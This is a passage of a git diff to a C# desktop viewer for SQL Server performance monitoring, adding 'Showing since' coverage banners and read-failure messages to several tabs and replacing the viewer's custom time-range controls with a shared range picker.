--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryHeatmap.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryHeatmap.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Linq;
 using System.Threading.Tasks;
 using System.Windows;
 using System.Windows.Controls;
@@ -123,9 +124,23 @@ private void WireHeatmapDrillDownMenu()
     /// <summary>Loads the Query Heatmap sub-tab for the combo's current metric over the window.</summary>
     private async Task LoadQueryHeatmapAsync(DateTime startUtc, DateTime endUtc)
     {
-        var metric = (HeatmapMetric)HeatmapMetricCombo.SelectedIndex;
-        var result = await _dataService.GetQueryHeatmapAsync(_server.ServerId, metric, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        await ReadAndDrawQueryHeatmapAsync((HeatmapMetric)HeatmapMetricCombo.SelectedIndex, startUtc, endUtc);
+    }
+
+    /// <summary>
+    /// Reads the heatmap for <paramref name="metric"/> over the window, draws it, and raises the "Showing since" banner (#4966):
+    /// the one read of the heatmap, behind the range load and the metric change. The chart draws one column per 5-minute bin that
+    /// holds a row, so a stretch with no row has no column and cannot tell a server that did not exist yet from a quiet one; the
+    /// banner names the earlier of the coverage start and the first column drawn. The read has no row cap, so only that rule applies.
+    /// </summary>
+    private async Task ReadAndDrawQueryHeatmapAsync(HeatmapMetric metric, DateTime startUtc, DateTime endUtc)
+    {
+        var dataStartTask = _dataService.GetQueryHeatmapDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.GetQueryHeatmapAsync(_server.ServerId, metric, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "Query Heatmap");
+        var result = dataReadTask.Result;
         UpdateQueryHeatmapChart(result);
+        await ShowEventDataStartAsync(QueryHeatmapTruncationBanner, dataStartTask, "Query Heatmap", startUtc, result.TimeBuckets.Select(t => (DateTime?)t));
     }
 
     private async void HeatmapMetric_SelectionChanged(object sender, SelectionChangedEventArgs e)
@@ -135,8 +150,7 @@ private async void HeatmapMetric_SelectionChanged(object sender, SelectionChange
         {
             var (startUtc, endUtc) = GetWindowUtc();
             var metric = (HeatmapMetric)HeatmapMetricCombo.SelectedIndex;
-            var result = await _dataService.GetQueryHeatmapAsync(_server.ServerId, metric, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
-            UpdateQueryHeatmapChart(result);
+            await ReadAndDrawQueryHeatmapAsync(metric, startUtc, endUtc);
         }
         catch (Exception ex)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryStoreClutter.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryStoreClutter.cs
index c1c2dec12b..2f52469718 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryStoreClutter.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryStoreClutter.cs
@@ -40,9 +40,26 @@ public partial class ViewerServerTab
     /// </summary>
     private async Task LoadQueryStoreClutterAsync(DateTime startUtc, DateTime endUtc)
     {
-        var result = await _dataService.GetQueryStoreClutterAsync(
+        /* #4966: the probe starts beside the read, and both take the window the caller worked out once. The panel draws from two ranged
+           sources, the plan churn from query_store_stats and the read cost from the collection log, so the coverage rule applies to each
+           and the note names the later of the two starts; the config and memory-clerk sections show the newest snapshot only, and the
+           rows are per database and name no time. */
+        /* #5022: two reads in flight, the panel's own (its five arms one after another) and the probe (its two calls one after another).
+           The shell's LoadInnerTabAsync declares no width, so this load does, before either starts. */
+        using var readFanOut = ViewerReadFanOut.Of(2);
+
+        var dataStartTask = _dataService.GetQueryStoreClutterDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var readTask = _dataService.GetQueryStoreClutterAsync(
             _server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
 
+        /* A read that throws skips the banner step below, so the probe would go unawaited: the helper watches it then, and a probe that
+           fails later is a warning and not an unobserved-exception Error. */
+        await AwaitReadWatchingProbeAsync(readTask, dataStartTask, "Query Store Clutter");
+        var result = readTask.Result;
+
+        /* The read is done: end the declared width here, before the banner step below awaits the probe. */
+        readFanOut.Release();
+
         _queryStoreClutterFilterMgr!.UpdateData(result.Databases);
 
         /* NO default sort, unlike the grids beside this one, and that is the correct answer rather than an
@@ -66,8 +83,23 @@ private async Task LoadQueryStoreClutterAsync(DateTime startUtc, DateTime endUtc
         /* A reload keeps whichever row is still selected explained, and clears the pane when the selection
            did not survive the refresh — a stale paragraph under a different row is worse than no paragraph. */
         ShowSelectedQueryStoreClutterRecommendation();
+        await ShowQueryStoreClutterDataStartAsync(QueryStoreClutterTruncationBanner, dataStartTask, startUtc);
     }
 
+    /// <summary>
+    /// Raises or hides the "Showing since" banner of the Query Store Clutter panel (#4966), through the shared step the other server-tab
+    /// grids use: the probe's answer (<paramref name="probe"/>, started beside the read:
+    /// <see cref="ViewerDataService.GetQueryStoreClutterDataStartAsync"/>, the later of the plan churn's and the read cost's starts)
+    /// is compared with the window's start, so a range that reaches before it names where it starts and a covered range names
+    /// nothing. The probe is awaited through <see cref="DataStartOrNullAsync"/>, so a probe that throws costs this banner and nothing
+    /// after it. <c>internal static</c> so the store-backed tests run the same step as the tab.
+    /// </summary>
+    /// <param name="banner">The panel's banner.</param>
+    /// <param name="probe">The panel's data-start probe, started beside its read.</param>
+    /// <param name="startUtc">The start of the window the panel just drew, the same one its read and its probe took.</param>
+    internal static async Task ShowQueryStoreClutterDataStartAsync(TextBlock banner, Task<DateTime?> probe, DateTime startUtc) =>
+        UpdateTruncationBanner(banner, await DataStartOrNullAsync(probe, "Query Store Clutter"), startUtc);
+
     /// <summary>Selecting a database shows its recommendation whole — the composition's sentences, never
     /// re-worded here, so this pane and the MCP payload say the same thing.</summary>
     private void QueryStoreClutterGrid_SelectionChanged(object sender, SelectionChangedEventArgs e)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.RunningJobs.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.RunningJobs.cs
index 8b8bb335de..53a09f8bf6 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.RunningJobs.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.RunningJobs.cs
@@ -31,21 +31,53 @@ public partial class ViewerServerTab
     private async Task LoadRunningJobsAsync()
     {
         using var readFanOut = ViewerReadFanOut.Of(2);
-        var jobsTask = _dataService.GetRunningJobsAsync(_server.ServerId);
-        var statusTask = _dataService.GetLatestRunningJobsCollectorStatusAsync(_server.ServerId);
-        var jobs = await jobsTask;
-        var status = await statusTask;
+        _ownNoDataText.TryAdd(RunningJobsNoDataMessage, RunningJobsNoDataMessage.Text); /* the words are kept for when the banner goes away */
+        RunningJobsRead read;
+        string? status;
+        try
+        {
+            var jobsTask = _dataService.ReadRunningJobsAsync(_server.ServerId);
+            var statusTask = _dataService.GetLatestRunningJobsCollectorStatusAsync(_server.ServerId);
+            read = await jobsTask;
+            status = await statusTask;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            /* A failed read is not "no jobs are running": the grid empties and says the read failed (the caller also reports it
+               in the status bar). The grid used to keep whatever its last load said, "No SQL Agent jobs are running." included. */
+            _runningJobsFilterMgr!.UpdateData(new System.Collections.Generic.List<RunningJobRow>());
+            RunningJobsNoDataMessage.Text = RunningJobsReadFailedText(ex);
+            RunningJobsNoDataMessage.Visibility = Visibility.Visible;
+            throw;
+        }
+
+        var jobs = read.Jobs;
 
         /* Both reads are done, and the not-collected note below may read the store once more. Release here so that read is not
            priced against contention that has already finished. */
         readFanOut.Release();
 
         _runningJobsFilterMgr!.UpdateData(jobs);
-        await ShowEngineGapAsync(RunningJobsNoDataMessage, "running_jobs", jobs.Count);
+        /* D20: an empty grid says no job is running, unless the collector was denied msdb (then the banner says why the grid is
+           empty, and "no jobs running" would be a claim nobody checked) or the not-collected note applies. */
+        var bannerShows = ShouldShowMsdbBanner(status);
+        await ShowEngineGapAsync(RunningJobsNoDataMessage, "running_jobs", jobs.Count, keepsOwnEmptyText: !bannerShows);
+
+        /* An empty grid whose collector has not collected within the freshness bound says that instead (the gap note and the banner win). */
+        if (jobs.Count == 0 && !bannerShows && read.LastGoodCollection is DateTime lastGood
+            && RunningJobsNoDataMessage.Text == _ownNoDataText[RunningJobsNoDataMessage])
+        {
+            RunningJobsNoDataMessage.Text = PerformanceMonitor.Alerting.RunningJobsCurrency.NotCurrentNote(lastGood);
+            RunningJobsNoDataMessage.Visibility = Visibility.Visible;
+        }
 
-        RunningJobsMsdbWarning.Visibility = ShouldShowMsdbBanner(status) ? Visibility.Visible : Visibility.Collapsed;
+        RunningJobsMsdbWarning.Visibility = bannerShows ? Visibility.Visible : Visibility.Collapsed;
     }
 
+    /// <summary>What the tab says in place of "No SQL Agent jobs are running." when the read itself failed.</summary>
+    internal static string RunningJobsReadFailedText(Exception ex) =>
+        $"The running jobs could not be read: {ex.Message}";
+
     /// <summary>
     /// The msdb-access banner rule, derived from the store (the viewer has no live msdb probe): Lite shows
     /// the "grant the login msdb access" banner strictly from its real <c>_hasMsdbAccess</c> probe, so the
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SessionStats.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SessionStats.cs
index 0ae68cc040..749eb048ff 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SessionStats.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SessionStats.cs
@@ -85,6 +85,8 @@ private void UpdateSessionStatsSummary(SessionStatsPoint? data)
         SessionStatsTopAppText.Text = topApp;
         SessionStatsTopHostText.Text = topHost;
         SessionStatsDatabasesText.Text = databases;
+        /* #4966: the newest collection in the last bucket (where Top Application and Top Host come from), not the bucket's grid time. */
+        SessionStatsCollectedText.Text = HistoryTime.SnapshotCollected(data?.LatestCollectionTime, "N/A");
     }
 
     /// <summary>Tears down the Session Stats hover helper (mirrors the other tabs' dispose) so its tooltip
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SlicerOverlay.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SlicerOverlay.cs
index a1daa9ff20..fb4d9aeb8e 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SlicerOverlay.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SlicerOverlay.cs
@@ -19,8 +19,9 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// curve on the sub-tab's slicer (<see cref="TimeRangeSlicerControl.SetOverlay"/> / <c>ClearOverlay</c>, which
 /// were ported earlier but left dead). The per-item timeline comes from
 /// <see cref="ViewerDataService"/> (<c>ItemTimeline</c> partial); the metric shown tracks the slicer's current
-/// sort metric via <see cref="ComputeOverlayPoints"/>. One deviation from Lite: Darling's <c>delta_*</c> reads
-/// are already per-interval, so no C# row-over-row differencing is needed (Lite diffs cumulative history rows).
+/// sort metric via <see cref="ComputeOverlayPoints"/>. Darling's <c>delta_*</c> reads
+/// are already per-interval, so no C# row-over-row differencing is needed (Lite's history rows carry the same deltas and,
+/// since #5449, its overlay plots them as they are).
 /// </summary>
 public partial class ViewerServerTab
 {
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SystemEvents.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SystemEvents.cs
index 7af83ea794..b4a5324e38 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SystemEvents.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SystemEvents.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Linq;
 using System.Threading.Tasks;
 using System.Windows;
 using System.Windows.Controls;
@@ -144,6 +145,8 @@ private async Task LoadSystemEventsAsync()
             case SystemEventsCorruptionSubTabIndex:
             case SystemEventsContentionSubTabIndex:
             default:
+                /* #4966: the two chart sub-tabs plot a time axis that already shows the empty span, so they take the grids' banner down. */
+                SystemEventsTruncationBanner.Visibility = Visibility.Collapsed;
                 await LoadSystemHealthChartsAsync();
                 break;
         }
@@ -152,8 +155,12 @@ private async Task LoadSystemEventsAsync()
     private async Task LoadSchedulerIssuesAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
-        var data = await _dataService.GetSchedulerIssuesAsync(_server.ServerId, startUtc, endUtc);
+        var dataStartTask = _dataService.GetSystemHealthEventsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.GetSchedulerIssuesAsync(_server.ServerId, startUtc, endUtc);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "System Events");
+        var data = dataReadTask.Result;
         _seSchedulerFilterMgr!.UpdateData(data);
+        await ShowEventDataStartAsync(SystemEventsTruncationBanner, dataStartTask, "System Events", startUtc, data.Select(r => r.EventTime));
         ShowSystemHealthEmptyState(SchedulerIssuesNoDataMessage, data.Count);
         SchedulerIssuesCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
     }
@@ -161,8 +168,12 @@ private async Task LoadSchedulerIssuesAsync()
     private async Task LoadSevereErrorsAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
-        var data = await _dataService.GetSevereErrorsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        var dataStartTask = _dataService.GetSystemHealthEventsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.GetSevereErrorsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "System Events");
+        var data = dataReadTask.Result;
         _seSevereErrorFilterMgr!.UpdateData(data);
+        await ShowEventDataStartAsync(SystemEventsTruncationBanner, dataStartTask, "System Events", startUtc, data.Select(r => r.EventTime));
         ShowSystemHealthEmptyState(SevereErrorsNoDataMessage, data.Count);
         SevereErrorsCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
     }
@@ -170,8 +181,12 @@ private async Task LoadSevereErrorsAsync()
     private async Task LoadMemoryConditionsAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
-        var data = await _dataService.GetMemoryConditionsAsync(_server.ServerId, startUtc, endUtc);
+        var dataStartTask = _dataService.GetSystemHealthEventsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.GetMemoryConditionsAsync(_server.ServerId, startUtc, endUtc);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "System Events");
+        var data = dataReadTask.Result;
         _seMemoryConditionsFilterMgr!.UpdateData(data);
+        await ShowEventDataStartAsync(SystemEventsTruncationBanner, dataStartTask, "System Events", startUtc, data.Select(r => r.EventTime));
         ShowSystemHealthEmptyState(MemoryConditionsNoDataMessage, data.Count);
         MemoryConditionsCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
     }
@@ -179,8 +194,12 @@ private async Task LoadMemoryConditionsAsync()
     private async Task LoadMemoryBrokerAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
-        var data = await _dataService.GetMemoryBrokerAsync(_server.ServerId, startUtc, endUtc);
+        var dataStartTask = _dataService.GetSystemHealthEventsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.GetMemoryBrokerAsync(_server.ServerId, startUtc, endUtc);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "System Events");
+        var data = dataReadTask.Result;
         _seMemoryBrokerFilterMgr!.UpdateData(data);
+        await ShowEventDataStartAsync(SystemEventsTruncationBanner, dataStartTask, "System Events", startUtc, data.Select(r => r.EventTime));
         ShowSystemHealthEmptyState(MemoryBrokerNoDataMessage, data.Count);
         MemoryBrokerCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
     }
@@ -188,8 +207,12 @@ private async Task LoadMemoryBrokerAsync()
     private async Task LoadMemoryNodeOomAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
-        var data = await _dataService.GetMemoryNodeOomAsync(_server.ServerId, startUtc, endUtc);
+        var dataStartTask = _dataService.GetSystemHealthEventsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.GetMemoryNodeOomAsync(_server.ServerId, startUtc, endUtc);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "System Events");
+        var data = dataReadTask.Result;
         _seMemoryNodeOomFilterMgr!.UpdateData(data);
+        await ShowEventDataStartAsync(SystemEventsTruncationBanner, dataStartTask, "System Events", startUtc, data.Select(r => r.EventTime));
         ShowSystemHealthEmptyState(MemoryNodeOomNoDataMessage, data.Count);
         MemoryNodeOomCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
     }
@@ -197,8 +220,12 @@ private async Task LoadMemoryNodeOomAsync()
     private async Task LoadSignificantWaitsAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
-        var data = await _dataService.GetSignificantWaitsAsync(_server.ServerId, startUtc, endUtc);
+        var dataStartTask = _dataService.GetSystemHealthEventsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.GetSignificantWaitsAsync(_server.ServerId, startUtc, endUtc);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "System Events");
+        var data = dataReadTask.Result;
         _seSignificantWaitsFilterMgr!.UpdateData(data);
+        await ShowEventDataStartAsync(SystemEventsTruncationBanner, dataStartTask, "System Events", startUtc, data.Select(r => r.EventTime));
         ShowSystemHealthEmptyState(SignificantWaitsNoDataMessage, data.Count);
         SignificantWaitsCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
     }
@@ -206,8 +233,12 @@ private async Task LoadSignificantWaitsAsync()
     private async Task LoadCpuTasksAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
-        var data = await _dataService.GetCpuTasksAsync(_server.ServerId, startUtc, endUtc);
+        var dataStartTask = _dataService.GetSystemHealthEventsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.GetCpuTasksAsync(_server.ServerId, startUtc, endUtc);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "System Events");
+        var data = dataReadTask.Result;
         _seCpuTasksFilterMgr!.UpdateData(data);
+        await ShowEventDataStartAsync(SystemEventsTruncationBanner, dataStartTask, "System Events", startUtc, data.Select(r => r.EventTime));
         ShowSystemHealthEmptyState(CpuTasksNoDataMessage, data.Count);
         CpuTasksCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
     }
@@ -215,8 +246,12 @@ private async Task LoadCpuTasksAsync()
     private async Task LoadIoIssuesAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
-        var data = await _dataService.GetIoIssuesAsync(_server.ServerId, startUtc, endUtc);
+        var dataStartTask = _dataService.GetSystemHealthEventsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.GetIoIssuesAsync(_server.ServerId, startUtc, endUtc);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "System Events");
+        var data = dataReadTask.Result;
         _seIoIssuesFilterMgr!.UpdateData(data);
+        await ShowEventDataStartAsync(SystemEventsTruncationBanner, dataStartTask, "System Events", startUtc, data.Select(r => r.EventTime));
         ShowSystemHealthEmptyState(IoIssuesNoDataMessage, data.Count);
         IoIssuesCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
     }
@@ -224,8 +259,12 @@ private async Task LoadIoIssuesAsync()
     private async Task LoadDefaultTraceEventsAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
-        var data = await _dataService.GetDefaultTraceEventsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        var dataStartTask = _dataService.GetDefaultTraceDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.GetDefaultTraceEventsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "Default Trace");
+        var data = dataReadTask.Result;
         _seDefaultTraceFilterMgr!.UpdateData(data);
+        await ShowEventDataStartAsync(SystemEventsTruncationBanner, dataStartTask, "Default Trace", startUtc, data.Select(r => r.EventTimeUtc));
         if (DefaultTraceGapNote(_server.ServerName, _server.EngineEdition, _server.EngineKind) is { } gap)
             DefaultTraceNoDataMessage.Text = gap;
         DefaultTraceNoDataMessage.Visibility = data.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.TimeRange.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.TimeRange.cs
index f21f92391c..5f78a219c9 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.TimeRange.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.TimeRange.cs
@@ -11,8 +11,6 @@
 using System.Threading.Tasks;
 using System.Windows;
 using System.Windows.Controls;
-using System.Windows.Controls.Primitives;
-using System.Windows.Media;
 using System.Windows.Threading;
 using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitor.Ui;
@@ -21,34 +19,31 @@ namespace PerformanceMonitor.Darling.Viewer;
 
 /// <summary>
 /// The per-server toolbar's time-window + auto-refresh + time-display state (the header row added above
-/// the inner tab strip), mirroring Lite's <c>ServerTab.TimeRange.cs</c>: a custom range is held as two
-/// naive-UTC instants (<see cref="CustomRangeState"/>, #4766) and the From/To pickers are a drawing of them in
-/// the CURRENT display mode's zone (Server/Local/UTC — <see cref="ViewerTimeHelper.DisplayZoneFor"/>, on this
-/// tab's own server clock, ported from Lite's <c>TimeDisplayModeBox</c>). Only a typed edit reads text back,
-/// through <see cref="CustomRangeState.ApplyEdit"/>, so a range that crosses a daylight saving change keeps the
-/// instants it names and a display-mode switch changes only the text. This replaces the old hardcoded
-/// 24-hour <c>s_dataWindow</c>: every inner-tab load reads <see cref="GetWindowUtc"/> (preset
-/// 1h/4h/12h/24h/7d or a custom From/To), the auto-refresh cadence comes from the toolbar instead of
-/// MainWindow's fleet-refresh timer, and the display-mode picker re-renders the visible tab so every
-/// timestamp honors the chosen mode.
+/// the inner tab strip), mirroring Lite's <c>ServerTab.TimeRange.cs</c>. The window is the shared
+/// <see cref="TimeRangePicker"/> (#5562): rolling presets from 5 minutes, calendar periods, or a typed or
+/// calendar-picked range, held as a <see cref="TimeRangeSpec"/> that the picker draws in this tab's display zone
+/// (Server/Local/UTC, <see cref="ViewerTimeHelper.DisplayZoneFor"/> on this tab's own server clock). A fixed range
+/// holds its two naive-UTC instants, so a display-mode switch only redraws the text (#4766) and a range that
+/// crosses a daylight saving change keeps the instants it names. Every inner-tab load reads <see cref="GetWindowUtc"/>
+/// (<see cref="ViewerTimeRangeWindow"/> does the arithmetic), the auto-refresh cadence comes from the toolbar instead
+/// of MainWindow's fleet-refresh timer, and the display-mode picker re-renders the visible tab so every timestamp
+/// honors the chosen mode. There is no reach limit on the desktop (#5562): a long period reads what the data holds,
+/// through the retention routers the long-window reads already use.
 /// </summary>
 public partial class ViewerServerTab
 {
-    /// <summary>The "Custom Range" slot in <c>TimeRangeCombo</c> (after 1h/4h/12h/24h/7d).</summary>
-    private const int CustomRangeIndex = 5;
-
-    /// <summary>Guards the range handlers while pickers/combo are set programmatically (Apply-to-all,
-    /// custom-range defaults) so one external change drives exactly one reload, not a cascade.</summary>
+    /// <summary>Guards the range handlers while the picker or the display-mode box is set programmatically (Apply-to-all,
+    /// the day drill, the default seed) so one external change drives exactly one reload, not a cascade.</summary>
     private bool _suppressRangeEvents;
 
     private DispatcherTimer? _autoRefreshTimer;
 
     /// <summary>
-    /// Raised when the user clicks "Apply to All": MainWindow broadcasts the selected range (index plus,
-    /// for a custom range, the held From/To as naive-UTC instants) to every other open server
-    /// tab. The source tab is carried so the broadcast can skip it (it already holds the range).
+    /// Raised when the user clicks "Apply to All": MainWindow broadcasts the held range to every other open server
+    /// tab (<see cref="TimeRangePresets.ForBroadcast"/>: a calendar period goes as the instants it names). The
+    /// source tab is carried so the broadcast can skip it (it already holds the range).
     /// </summary>
-    public event Action<ViewerServerTab, int, DateTime?, DateTime?>? ApplyTimeRangeRequested;
+    public event Action<ViewerServerTab, TimeRangeSpec>? ApplyTimeRangeRequested;
 
     /// <summary>
     /// Raised when the user changes the toolbar's Server/Local/UTC display picker. MainWindow persists the
@@ -66,48 +61,36 @@ public partial class ViewerServerTab
     private ServerClock _serverClock =
         ServerClock.FixedOffset((int)TimeZoneInfo.Local.GetUtcOffset(DateTime.UtcNow).TotalMinutes);
 
-    /// <summary>The custom range this tab holds (#4766): two naive-UTC instants, or nothing while a preset is
-    /// selected. The From/To pickers are drawn from it (<see cref="RenderCustomRange"/>); a picker edit changes
-    /// one side of it (<see cref="ApplyPickerEdit"/>) and nothing else reads the pickers' text back.</summary>
-    private readonly CustomRangeState _customRange = new();
-
-    /// <summary>The zone the pickers are drawn in and a typed value is read in: the current display mode's, on
-    /// THIS tab's own server clock rather than the process-wide one another tab may have set last.</summary>
+    /// <summary>The zone the picker draws and reads typed times in: the current display mode's, on THIS tab's own
+    /// server clock rather than the process-wide one another tab may have set last.</summary>
     private TimeZoneInfo TabDisplayZone => ViewerTimeHelper.DisplayZoneFor(ViewerTimeHelper.CurrentDisplayMode, _serverClock);
 
-    /// <summary>Preset combo index → hours back. Index 5 (custom) and any stray value fall to the
-    /// viewer's historical 24-hour default. Pure + static so the mapping is unit-testable.</summary>
-    internal static int TimeRangeIndexToHours(int index) => index switch
+    /// <summary>The range the toolbar holds (rolling, calendar period, fixed or since).</summary>
+    internal TimeRangeSpec HeldRange => RangePicker.Value;
+
+    /// <summary>Preset combo index → hours back, the legacy mapping the preferences file still uses
+    /// (<see cref="ViewerTimeRangeWindow.LegacyIndexToHours"/>). Index 5 (the old Custom slot) and any stray value fall to
+    /// the viewer's historical 24-hour default. Pure + static so the mapping is unit-testable.</summary>
+    internal static int TimeRangeIndexToHours(int index) => ViewerTimeRangeWindow.LegacyIndexToHours(index);
+
+    /// <summary>Wires the picker to this tab: its display zone and the range it starts on (the persisted default).
+    /// Called from the constructor after <c>InitializeComponent</c>.</summary>
+    private void InitializeRangePicker(ViewerPreferences preferences)
     {
-        0 => 1,
-        1 => 4,
-        2 => 12,
-        3 => 24,
-        4 => 168,
-        _ => 24,
-    };
+        RangePicker.ZoneProvider = () => TabDisplayZone;
+        RangePicker.Value = ViewerTimeRangeWindow.DefaultFor(preferences);
+    }
 
-    /// <summary>Populates the custom-range hour (00:00–23:00) and minute (:00/:15/:30/:45) combos,
-    /// matching Lite's <c>InitializeTimeComboBoxes</c>. Called from the constructor after
-    /// <c>InitializeComponent</c>.</summary>
-    private void InitializeTimeComboBoxes()
+    /// <summary>The picker raised a pick (preset, period, typed text or calendar): reload the active inner tab, which
+    /// reads the new window through <see cref="GetWindowUtc"/>.</summary>
+    private async void RangePicker_RangeChanged(object? sender, TimeRangeChangedEventArgs e)
     {
-        var hours = new List<string>();
-        for (int h = 0; h < 24; h++)
+        if (!IsLoaded || _suppressRangeEvents)
         {
-            hours.Add(DateTime.Today.AddHours(h).ToString("HH:00"));
+            return;
         }
 
-        FromHourCombo.ItemsSource = hours;
-        ToHourCombo.ItemsSource = hours;
-        FromHourCombo.SelectedIndex = 0;   // 00:00
-        ToHourCombo.SelectedIndex = 23;    // 23:00
-
-        var minutes = new List<string> { ":00", ":15", ":30", ":45" };
-        FromMinuteCombo.ItemsSource = minutes;
-        ToMinuteCombo.ItemsSource = minutes;
-        FromMinuteCombo.SelectedIndex = 0; // :00
-        ToMinuteCombo.SelectedIndex = 3;   // :45
+        await RefreshActiveInnerTabAsync();
     }
 
     /// <summary>Wires the auto-refresh timer (default 1 minute, matching the old fixed 60-second cadence)
@@ -135,246 +118,147 @@ private async void OnAutoRefreshTick(object? sender, EventArgs e)
         await RefreshActiveInnerTabAsync();
     }
 
-    // ── Window computation ───────────────────────────────────────────────────────────
 
-    /// <summary>True when the user picked "Custom Range", a range is held, AND both date pickers hold a value.</summary>
-    private bool IsCustomRange => TimeRangeCombo.SelectedIndex == CustomRangeIndex
-        && _customRange.IsCustom
-        && FromDatePicker?.SelectedDate != null
-        && ToDatePicker?.SelectedDate != null;
+    // ── Window computation ───────────────────────────────────────────────────────────
 
     /// <summary>
     /// The current window as store-native naive-UTC bounds, driving every inner-tab load (it replaces the
-    /// old fixed 24-hour <c>s_dataWindow</c>). A preset ends "now"; a valid custom range uses its From/To.
+    /// old fixed 24-hour <c>s_dataWindow</c>). A live range ends "now" and slides on every call; a fixed range or a
+    /// finished calendar period keeps its instants. A sub-hour span (5, 15, 30 minutes) flows through unchanged: the
+    /// reads take two instants and size their buckets in minutes.
     /// </summary>
     private (DateTime startUtc, DateTime endUtc) GetWindowUtc()
     {
-        if (IsCustomRange)
-        {
-            var (fromUtc, toUtc) = GetCustomRangeUtc();
-            if (fromUtc.HasValue && toUtc.HasValue)
-            {
-                return (fromUtc.Value, toUtc.Value);
-            }
-        }
-
-        var endUtc = DateTime.UtcNow;
-        return (endUtc.AddHours(-TimeRangeIndexToHours(TimeRangeCombo.SelectedIndex)), endUtc);
+        var (startUtc, endUtc, _) = ViewerTimeRangeWindow.Window(RangePicker.Value, DateTime.UtcNow, TabDisplayZone);
+        return (startUtc, endUtc);
     }
 
-    /// <summary>Hours-back for the reads that take an integer window (the Overview lanes + Collection
